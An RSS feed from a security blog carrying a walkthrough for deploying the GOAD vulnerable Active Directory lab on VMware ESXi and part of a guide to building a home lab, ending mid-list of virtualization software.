<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>NetSec Focus</title>
        <atom:link href="/feed.xml" rel="self" type="application/rss+xml"/>
        <link>https://netsec-focus.github.io/</link>
        <description></description>
        <pubDate>Wed, 21 Aug 2024 15:25:09 +0000</pubDate>
        
        <item>
            <title>Setting Up and Installing GOAD or GOAD-Light on VMware ESXi</title>
            <link>/infosec/walkthrough/2024/08/21/Setting_up_and_Installing_GOAD_or_GOAD-Light_on_VMware_ESXI.html</link>
            <guid isPermaLink="true">/infosec/walkthrough/2024/08/21/Setting_up_and_Installing_GOAD_or_GOAD-Light_on_VMware_ESXI.html</guid>
            <description>&lt;h1 id=&quot;setting-up-and-installing-goad-or-goad-light-on-vmware-esxi&quot;&gt;Setting Up and Installing GOAD or GOAD-Light on VMware ESXi&lt;/h1&gt;

&lt;h2 id=&quot;table-of-contents&quot;&gt;Table of Contents&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;#introduction&quot;&gt;Introduction&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#a-word-of-caution&quot;&gt;A Word of Caution&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#a-word-of-advice&quot;&gt;A Word of Advice&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#requirements-to-deploy-goad&quot;&gt;Requirements to Deploy GOAD&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#current-esxi-setup&quot;&gt;Current ESXi Setup&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#configure-goad-network-group&quot;&gt;Configure GOAD Network Group&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#obtain-required-packages-to-deploy-goad-with-our-linux-machine&quot;&gt;Obtain Required Packages to Deploy GOAD with Our Linux Machine&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#stage-1-deploying-the-goad-environment&quot;&gt;Stage 1: Deploying the GOAD Environment&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;Over the years, I’ve been refining and automating vulnerable Active Directory environments in my homelab for testing. However, as these setups I created grew in complexity, managing the tools, scripts, and resources became a challenge. I needed a more efficient way to quickly spin up and tear down these environments without the hassle. That’s when I discovered GOAD by Orange Cyberdefense. In my experience, it is a game-changer for anyone serious about Active Directory security testing.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/Orange-Cyberdefense/GOAD&quot;&gt;GOAD&lt;/a&gt; is a comprehensive Active Directory (AD) lab environment designed for security testing, training, and learning purposes. It allows pentesters or security researches to simulate real-world AD environments to practice various attack and defense techniques. The lab is highly customizable, enabling users to configure different scenarios, user accounts, policies, and network topologies to mirror a production AD setup.&lt;/p&gt;

&lt;p&gt;In this guide, I will walk you through the steps needed to install and configure GOAD on VMware ESXi.&lt;/p&gt;

&lt;h2 id=&quot;a-word-of-caution&quot;&gt;A word of Caution:&lt;/h2&gt;

&lt;p&gt;This lab environment is intentionally vulnerable. Do not reuse this setup for production environments, and ensure it is isolated from any production networks. Never deploy it on the internet without strict isolation measures.&lt;/p&gt;

&lt;h2 id=&quot;a-word-of-advice&quot;&gt;A word of Advice:&lt;/h2&gt;

&lt;p&gt;As of the time of writing, the Orange-Cyberdefense team has not yet merged the contributions from viris and fsacer into the main GOAD project. Their forked versions of GOAD include the vmware_esxi provider, which we’ll be using for deployment. If you want to review and compare the enhancements they’ve made, you can check out their work:&lt;/p&gt;

&lt;p&gt;Viris version of GOAD: &lt;a href=&quot;https://github.com/viris/GOAD&quot;&gt;https://github.com/viris/GOAD&lt;/a&gt;
Fsacer version of GOAD: &lt;a href=&quot;https://github.com/fsacer/GOAD&quot;&gt;https://github.com/fsacer/GOAD&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;requirements-to-deploy-goad&quot;&gt;Requirements to deploy GOAD:&lt;/h2&gt;

&lt;p&gt;Before deploying the GOAD environment on your ESXi server there are a few things we need to configure:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Disk Space: A minimum of 125GB or more is needed to build the lab.&lt;/li&gt;
  &lt;li&gt;Memory: A minimum of 6-8GB should be allocated for each system in the lab.&lt;/li&gt;
  &lt;li&gt;Networking: We will need the ability to create port groups to ensure our GOAD builder can create the necessary connections and interfaces to seperate it from our personal network.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Operating System:&lt;/p&gt;

&lt;p&gt;This lab is designed to be installed from a Linux host, and all testing has been conducted using Linux! While some users have successfully set up the lab from a Windows OS, this requires a slightly different approach VM Creation: VMs can be created on Windows using Vagrant.&lt;/p&gt;

&lt;p&gt;Ansible Provisioning: The provisioning part must be executed from a Linux machine.
If you choose to use a Windows OS for VM creation, ensure the following for the Linux machine used in provisioning:&lt;/p&gt;

&lt;p&gt;Network Configuration: The Linux machine must have two network adapters.&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;One set to “VM Network” and the other connected to the same virtual private network or network port group as the lab. This ensures proper communication between the VMs and the provisioning scripts.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;It is up to you to decide which operating system you want to use to deploy GOAD but in this situation we are going to use Linux to deploy it.&lt;/p&gt;

&lt;h2 id=&quot;current-esxi-setup&quot;&gt;Current ESXI Setup:&lt;/h2&gt;
&lt;p&gt;Here is current setup that I will be using to deploy the GOAD environment:&lt;/p&gt;

&lt;p&gt;Hardware:
CPU: 24 CPUs x Intel(R) Xeon(R) CPU E5-2690 v3 @ 2.60GHz
Memory: 400GB DDR4
Storage: 4TB of lab storage
ESXI Version: 8.0 Update 2&lt;/p&gt;

&lt;h2 id=&quot;configure-goad-network-group&quot;&gt;Configure GOAD network Group&lt;/h2&gt;

&lt;p&gt;Before we setup our linux system to build the GOAD environment we need to create a network port group that will use the virtual private network for the lab.&lt;/p&gt;

&lt;p&gt;Once you login into your ESXI console, on the left-hand menu, click on “Networking” under the “Navigator” pane.&lt;/p&gt;

&lt;p&gt;Under the “Port groups” tab, identify the virtual switch (vSwitch) where you want to create the new port group.
Click on the “Add port group” button.&lt;/p&gt;

&lt;p&gt;Name: Enter GOAD as the name of the new port group.
VLAN ID: If required, specify a VLAN ID. Leave it as 0 if no VLAN tagging is needed.
Security: Optionally configure settings like Promiscuous mode, MAC Address changes, and Forged Transmits as needed.&lt;/p&gt;

&lt;p&gt;Save the Configuration:&lt;/p&gt;

&lt;p&gt;Click “Add” to create the port group.&lt;/p&gt;

&lt;p&gt;Ensure that the new port group GOAD appears in the list of port groups under the selected vSwitch.&lt;/p&gt;

&lt;h2 id=&quot;obtain-required-packages-to-deploy-goad-with-our-linux-machine&quot;&gt;Obtain required packages to deploy GOAD with our Linux machine.&lt;/h2&gt;

&lt;p&gt;Note: While deploying the GOAD environment, I used my Kali Linux system to accomplish this. The instructions I am providing should also work for other Linux Operating systems. You may have to install some other packages and plugins to make sure the lab can be deployed properly in your ESXI server.&lt;/p&gt;

&lt;p&gt;Remember you want to have two network interfaces configured on your Kali Linux system. One interface should be connected to your VM Network and the other interface should be connected to the GOAD network. Otherwise GOAD will not deploy the systems and set the network configurations properly during the deployment.&lt;/p&gt;

&lt;p&gt;By default the GOAD network has the boxes set to be on the 192.168.56.0/24 network. For the second interface that connected to the GOAD environment, I set my Kali Linux to 192.168.56.2 with a /24 subnet and the gateway set as 192.168.56.1.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Installing the following packages:&lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Vagrant: 

sudo apt install vagrant
sudo apt install ansible
sudo apt install ansible core
sudo pip3 install pywinrm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ol&gt;
  &lt;li&gt;Install Vagrant ESXI Plugins:&lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;vagrant plugin install vagrant-vmware-esxi
vagrant plugin install vagrant-reload
vagrant plugin install vagrant-vmware-desktop
vagrant plugin install winrm
vagrant plugin install winrm-fs
vagrant plugin install winrm-elevated
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ol&gt;
  &lt;li&gt;Install VMware OVFTool&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Thanks to broadcom for changing VMware URL structure it took me some time to find the latest version of OVFtool for Linux.&lt;/p&gt;

&lt;p&gt;Source: https://developer.broadcom.com/tools/open-virtualization-format-ovf-tool/latest&lt;/p&gt;

&lt;p&gt;Download the “OVF Tool for Linux Zip” package. The current version we used is 4.6.3.&lt;/p&gt;

&lt;p&gt;Once you downloaded the zip file and extracted the files on your Kali Linux machine you can either echo the path in your environment variable or you can add the path to your .bashrc file.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;tjnull@auto-kali:~/Downloads/VMware-ovftool-4.6.3-24031167-lin.x86_64/ovftool$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games

tjnull@auto-kali:~/Downloads/VMware-ovftool-4.6.3-24031167-lin.x86_64/ovftool$export PATH=/home/tjnull/VMware-ovftool-4.6.3-24031167-lin.x86_64/ovftool:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once our path has been added and we verified ovftool can be loaded into our terminal, we can now start the process to deploy GOAD.&lt;/p&gt;

&lt;h2 id=&quot;stage-1-deploying-the-goad-environment&quot;&gt;Stage 1: Deploying the GOAD Environment&lt;/h2&gt;

&lt;p&gt;Now we have the necessary packages, plugins, and tools installed, we need to make some changes to the configuration files in the vmware_esxi directory listed in the provider folder. To do this, we are going to do the following:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;tjnull@auto-kali:git clone https://github.com/viris/GOAD
tjnull@auto-kali:cd GOAD/ad/providers/vmware_esxi
tjnull@auto-kali: ls -a
. .. .env inventory .vagrant Vagrantfile
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the .env file, make the necessary changes to make sure GOAD can connect to your ESXI Server:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;tjnull@conops:/opt/GOAD/ad/GOAD/providers/vmware_esxi$ cat .env
export GOAD_VAGRANT_ESXIHOSTNAME=&apos;10.10.10.10&apos;
export GOAD_VAGRANT_ESXIUSERNAME=&apos;root&apos;
export GOAD_VAGRANT_ESXIPASSWORD=&apos;password&apos;
export GOAD_VAGRANT_ESXINETNAT=&apos;VM Network&apos;
export GOAD_VAGRANT_ESXINETDOM=&apos;GOAD&apos;
export GOAD_VAGRANT_ESXISTORE=&apos;datastore1&apos;
tjnull@conops:/opt/GOAD/ad/GOAD/providers/vmware_esxi$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You do not need to make any changes to the Vagrantfile or to the inventory file! To see if vagrant can reach the ESXI server you can type ‘vagrant up’ and vagrant will begin to deploy the GOAD virtual machines to your VMware ESXI Server. This does not run the ansible playbooks to deploy the vulnerable configurations to those machines.&lt;/p&gt;

&lt;p&gt;The vagrantfile already has the systems set to the 192.168.56.0/24 network.&lt;/p&gt;

&lt;p&gt;If you choose to not do this and you want to run the entire the deployment and ansible configuration setup at the same time we can use the GOAD script to do this. Deploying the environment this way can become very time consuming!&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;tjnull@auto-kali:/opt/GOAD/$ ./goad.sh -t check -l GOAD -p vmware_esxi -m local
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;From the script you should see in your output a list of checks that GOAD will run. Read through the results and if it passes you should then you can start the installation by running the following command:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;tjnull@auto-kali:/opt/GOAD/$ ./goad.sh -t install -l GOAD -p vmware_esxi -m local
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you ran the vagrant up command and you see your virtual machines were installed in ESXI, then you can run the following command:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;tjnull@auto-kali:/opt/GOAD/$ ./goad.sh -t check -l GOAD -p vmware_esxi -m local -a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The -a option will only run the ansible playbooks and will apply the vulnerable configurations into the active directory environment. The installation will take some time to deploy. Once the deployment has completed you will get a notification in your output and you can now begin assessing the GOAD environment!&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;A huge shoutout to Viris and Fsacer for creating the vmware_esxi provider for GOAD. I think it is an exceptional environment for any infosec professional looking to sharpen their skills in Active Directory security. It provides a realistic, fully-featured Active Directory environment that is intentionally vulnerable, offering an ideal playground for practicing attack techniques, testing detection tools, and exploring defense strategies. By investing time in GOAD, you gain hands-on experience with real-world scenarios, enabling you to better understand the complexities of Active Directory exploitation and defense. It’s an invaluable resource for both learning and advancing your expertise in securing critical infrastructure.&lt;/p&gt;
</description>
            <pubDate>Wed, 21 Aug 2024 00:00:00 +0000</pubDate>
        </item>
        
        <item>
            <title>TJnull&apos;s guide to building a Home Lab </title>
            <link>/home/lab/2022/07/31/Tjnulls_guide_to_building_a_Home_Lab.html</link>
            <guid isPermaLink="true">/home/lab/2022/07/31/Tjnulls_guide_to_building_a_Home_Lab.html</guid>
            <description>&lt;h3 id=&quot;table-of-contents&quot;&gt;Table of Contents&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#Introduction&quot;&gt;Introduction&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#a-word-of-advice&quot;&gt;A word of advice&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#why-should-you-build-a-home-lab&quot;&gt;Why should you build a home lab?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#things-you-need-to-consider&quot;&gt; Things you need to consider&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#hardware&quot;&gt;Hardware&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#hunting-for-hardware&quot;&gt;Hunting for Hardware&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#network&quot;&gt;Network&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#software&quot;&gt;Software&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#virtualization-software&quot;&gt;Virtualization Software&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#network-virtual-devices&quot;&gt;Network Virtual Devices&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#operating-systems&quot;&gt;Operating Systems&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#windows&quot;&gt;Windows&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#unix-and-nix&quot;&gt;Unix and *Nix&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#apple-mac-os&quot;&gt;Apple Mac OS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#daemonsservices&quot;&gt;Daemons/Services&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#monitoring-servicessystems&quot;&gt;Monitoring Services/Systems&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#other-resources&quot;&gt;Other Resources&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;introduction&quot;&gt;Introduction:&lt;/h1&gt;

&lt;p&gt;When I started my infosec journey, I remember attending an awesome talk called &quot;&lt;a href=&quot;http://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t206-the-avatar-project-and-you-da667&quot;&gt;The AVATAR Project and You&lt;/a&gt;&quot; by da_667 at BSIDES Charm 2017. &lt;a href=&quot;https://twitter.com/da_667?s=20&quot;&gt;Da_667&lt;/a&gt; talked about a guide he was writing about building your own lab environment which would allow you to tailor it to suit your own needs. This talk and his book &quot;&lt;a href=&quot;https://leanpub.com/avatar&quot;&gt;building virtual machine labs a hands-on guide&lt;/a&gt;&quot; was where my journey would begin so that I could build my home lab.&lt;/p&gt;

&lt;p&gt;In this guide I will provide a variety of tips, tools, and resources to help you get some ideas on how to build your home lab.&lt;/p&gt;

&lt;h1 id=&quot;a-word-of-advice&quot;&gt;A word of advice:&lt;/h1&gt;

&lt;p&gt;This guide does not contain all the answers you will need to build your home lab. You should use it as a way for getting ideas on how you want to build your home lab. In addition, you should also think about the type of environment you want to set up to practice/build your skillset. After all, this should be a fun and exciting adventure to try out!&lt;/p&gt;

&lt;p&gt;Take the time to do your research.&lt;/p&gt;

&lt;h1 id=&quot;why-should-you-build-a-home-lab&quot;&gt;Why should you build a home lab?&lt;/h1&gt;

&lt;p&gt;This lab should be the place you want to use it to build your skills whether you are in infosec or IT. Having a home lab will allow you to try out new things and build different topologies. A home lab should be a place where you can be able to build anything you need and tear down when things go wrong.&lt;/p&gt;

&lt;p&gt;It is important to have a separate system that does not contain any important data such as personal files, sensitive information, etc. This system/lab will be your playground.&lt;/p&gt;

&lt;h1 id=&quot;things-you-need-to-consider&quot;&gt;Things you need to consider:&lt;/h1&gt;

&lt;p&gt;Before you decide to spin up an entire datacenter in your house (you do not need to do that, trust me) there are some things you want to think about. Here are some questions you should ask yourself first:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;What are you building this lab for?&lt;/li&gt;
  &lt;li&gt;What is your budget? How much are you willing to spend?
    &lt;ul&gt;
      &lt;li&gt;Will you have enough funds to continue to maintain and also scale it?&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Do you have the ability to set up a wired network? If not, will you be able to set up a wireless connection?&lt;/li&gt;
  &lt;li&gt;How many virtual machines do you want to run and utilize?
    &lt;ul&gt;
      &lt;li&gt;What are the system requirements for each virtual machine?&lt;/li&gt;
      &lt;li&gt;Do you plan to have backups for these systems?&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Will this lab be running in your house all the time?
    &lt;ul&gt;
      &lt;li&gt;Will you have enough power to run your home lab?&lt;/li&gt;
      &lt;li&gt;Do you have a dedicated area that has proper cooling?&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;If you are thinking of buying a server, do you have enough space in your home? Rack or tower?&lt;/li&gt;
  &lt;li&gt;Have you mapped out what the network is going to look like?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once you have answered these questions, you can move forward.&lt;/p&gt;

&lt;h1 id=&quot;hardware&quot;&gt;Hardware&lt;/h1&gt;

&lt;p&gt;Depending on the situation, the machine you are using may not be enough to start your lab. However, you can still do a lot of things.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Upgrading Hardware:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It is important to look into the following parts to upgrade in your system:&lt;/p&gt;

&lt;p&gt;RAM/memory: The more RAM you have in your system, the better performance to run the projects you need.&lt;/p&gt;

&lt;p&gt;Storage: Depending on the project/systems you want to spin up, you are going to need some drives to store all of it. Having multiple drives will make it easier to consolidate your machines and also give you the ability to conduct backups in case something happens. In addition, you can look into getting a network attached storage (NAS) to consolidate your machines in a separate place.&lt;/p&gt;

&lt;p&gt;If you want to find a place that reviews the different types of drives or storage solutions &lt;a href=&quot;https://www.storagereview.com/consumer&quot;&gt;https://www.storagereview.com/&lt;/a&gt;&lt;a href=&quot;https://www.storagereview.com/consumer&quot;&gt;consumer&lt;/a&gt; is a good place to find recommendations.&lt;/p&gt;

&lt;p&gt;CPU: More cores and a better CPU clock speed will allow you to run multiple tasks on your system. Make sure that your CPU is able to run the CPU Virtualization feature if you plan to run virtual machines on your systems.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Dedicated Machine:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Having a dedicated machine or converting an old machine is a great way to run your virtual machines in a separate environment. Keep in mind, all three areas which are mentioned in &apos;Upgrading Hardware&apos; (CPU, RAM, hard drive) need to have highest priority when you plan to have a dedicated machine.&lt;/p&gt;

&lt;p&gt;If you choose to get into password cracking, using &lt;a href=&quot;https://en.bitcoin.it/wiki/Why_a_GPU_mines_faster_than_a_CPU&quot;&gt;GPUs instead of CPUs&lt;/a&gt; increases the cracking speed by a factor of hundreds, if not thousands. However, the specifications of this machine would need to be different as power cooling and space becomes more of an issue.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Additional Hardware:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;There are a variety of devices that you can find to expand your lab, but it depends on what you want to learn and what you would like to try out. Here are a few devices that you should look into having:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Firewalls/routers/switches&lt;/li&gt;
  &lt;li&gt;Raspberry Pi&lt;/li&gt;
  &lt;li&gt;Wireless access points/wireless network cards&lt;/li&gt;
  &lt;li&gt;IOT devices&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;hunting-for-hardware&quot;&gt;Hunting for Hardware:&lt;/h1&gt;

&lt;p&gt;Depending on the budget you have and the requirements for hardware that you want, there are a variety options to choose for setting up your lab:&lt;/p&gt;

&lt;p&gt;PC Parts/Components:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://pcpartpicker.com/list/&quot;&gt;https://pcpartpicker.com/list/&lt;/a&gt;: This site is a good start if you want to compare the parts/specs that you may be looking for. In addition, the site includes a price comparison option to show you what retailer is selling the part/component for a lower price. They also have users who share their custom builds to give other people an idea of how they want to build out their computers which you could use to figure out your lab.&lt;/p&gt;

&lt;p&gt;Small Form Factor Builds:&lt;/p&gt;

&lt;p&gt;Raspberry Pi (&lt;a href=&quot;https://www.raspberrypi.org/&quot;&gt;https://www.raspberrypi.org/&lt;/a&gt;): An affordable single-board computer that has the power to run a variety of different projects that can be added to your lab. It has the ability to run different Linux distributions that you can use for your lab projects.&lt;/p&gt;

&lt;p&gt;Intel NUCs (&lt;a href=&quot;https://www.intel.com/content/www/us/en/products/boards-kits/nuc.html&quot;&gt;https://www.intel.com/content/www/us/en/products/boards-kits/nuc.html&lt;/a&gt;): Do not be fooled by the form factor of these mini PCs as they do pack a punch. This would be a good system if you are looking to save power, reduce noise, and most importantly, save space.&lt;/p&gt;

&lt;p&gt;AMD Mini PCs (&lt;a href=&quot;https://www.amd.com/en/products/embedded-minipc-solutions&quot;&gt;https://www.amd.com/en/products/embedded-minipc-solutions&lt;/a&gt;): AMD also has their own set of small form computers that you can purchase as well. They can be able to run the Ryzen processor chipset as well on some of them.&lt;/p&gt;

&lt;p&gt;Minis Forum (&lt;a href=&quot;https://store.minisforum.com/&quot;&gt;https://store.minisforum.com/&lt;/a&gt;): A place to buy barebone mini PC’s depending on use case you need. They have custom options and you can select for your builds and they are very affordable with the selections they have.&lt;/p&gt;

&lt;p&gt;Servers:&lt;/p&gt;

&lt;p&gt;As technology continues to be improved, older technology needs to be decommissioned or have an end of life (EOL). As these servers get decommissioned, this is also a good chance to repurpose them for your project. Before you decide to buy a server, you need to answer the following questions:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Do you have enough space to buy a server? What form factor will you be looking to buy (tower or rack)&lt;/li&gt;
  &lt;li&gt;Do you have enough power and are you okay with handling the cost of running the server depending on how you have it on?&lt;/li&gt;
  &lt;li&gt;Does your budget include also buying parts to upgrade/maintain the server?&lt;/li&gt;
  &lt;li&gt;Are you okay if the server is noisy? (There is a reason why we have data centers!)&lt;/li&gt;
  &lt;li&gt;Can you provide sufficient airflow or cooling?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you have answered these questions and are okay with your answers, then you are ready to obtain a server! There are a lot of good resources to help you find a server and the hardware you need for it. Here are some resources you can use to help you find a server for your lab:&lt;/p&gt;

&lt;p&gt;Lab Gopher (&lt;a href=&quot;https://labgopher.com/&quot;&gt;https://labgopher.com/&lt;/a&gt;): The best place to look for buying a server! This site allows you to parse through servers that are listed on ebay that match the criteria you are looking for. You can filter options like RAM, storage, type of server, etc to find the one that you can use for your lab.&lt;/p&gt;

&lt;p&gt;Other places to buy servers:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Save My Server: &lt;a href=&quot;https://www.savemyserver.com/&quot;&gt;https://www.savemyserver.com/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Homelabtech: &lt;a href=&quot;https://www.homelabtech.com/&quot;&gt;https://www.homelabtech.com/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Gear Grabber: &lt;a href=&quot;https://geargrabber.io/&quot;&gt;https://geargrabber.io/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Server Monkey: &lt;a href=&quot;https://www.servermonkey.com/&quot;&gt;https://www.servermonkey.com/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Reddit HomelabSales: &lt;a href=&quot;https://www.reddit.com/r/homelabsales/&quot;&gt;https://www.reddit.com/r/homelabsales/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Local E-Recycling centers&lt;/li&gt;
  &lt;li&gt;Craigslist (be careful with sellers on there!)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Other resources for buying a server/hardware:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Reddit home lab server guide: &lt;a href=&quot;https://www.reddit.com/r/homelab/wiki/hardware&quot;&gt;https://www.reddit.com/r/homelab/wiki/hardware&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;network&quot;&gt;Network:&lt;/h1&gt;

&lt;p&gt;Having your own network setup can give you the ability to build your computer networking skills and to learn more about how your network is operating. Building your own network will allow you to isolate/segment your lab from your personal network, transfer files, and isolate certain systems from accessing the internet.&lt;/p&gt;

&lt;p&gt;If you want to purchase your own network hardware, you should look for network equipment that will be able to utilize the network speed you are receiving from your ISP. However, you can also virtualize your network if you plan to virtualize your entire lab on the hardware you have. You could even use a Raspberry Pi (depending on the model) to run your network firewall or router.&lt;/p&gt;

&lt;p&gt;Finding network hardware:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.reddit.com/r/homelabsales&quot;&gt;https://www.reddit.com/r/homelabsales&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Gear Grabber: &lt;a href=&quot;https://geargrabber.io/&quot;&gt;https://geargrabber.io/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cablesandkits.com/&quot;&gt;https://www.cablesandkits.com/&lt;/a&gt; (Cisco Lab Equipment)&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;software&quot;&gt;Software:&lt;/h1&gt;

&lt;p&gt;Once you have the hardware set up, it is time to decide what software you want to use for your lab. Here are a few types of software that you should think about implementing:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Virtualization software&lt;/li&gt;
  &lt;li&gt;Network virtual devices&lt;/li&gt;
  &lt;li&gt;Operating systems&lt;/li&gt;
  &lt;li&gt;Daemons/services&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;virtualization-software&quot;&gt;Virtualization Software:&lt;/h1&gt;

&lt;p&gt;There are different types of virtualization software that you can use to run your virtual machines in your lab. One of the main benefits of using virtualization software is you have the ability to create snapshots which allow you to revert the system to a known state. Keep in mind that each virtualization software offers their own benefits depending on the situation you are planning to utilize them in your lab.&lt;/p&gt;

&lt;p&gt;Virtualization software that you can run on your desktop:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;VMware Workstation Player (free, but has limited uses such as running only one virtual machine)&lt;/li&gt;
  &lt;li&gt;VMware Workstation (paid, only for Windows and Linux)&lt;/li&gt;
  &lt;li&gt;VMware Fusion (paid, available for MAC Only)&lt;/li&gt;
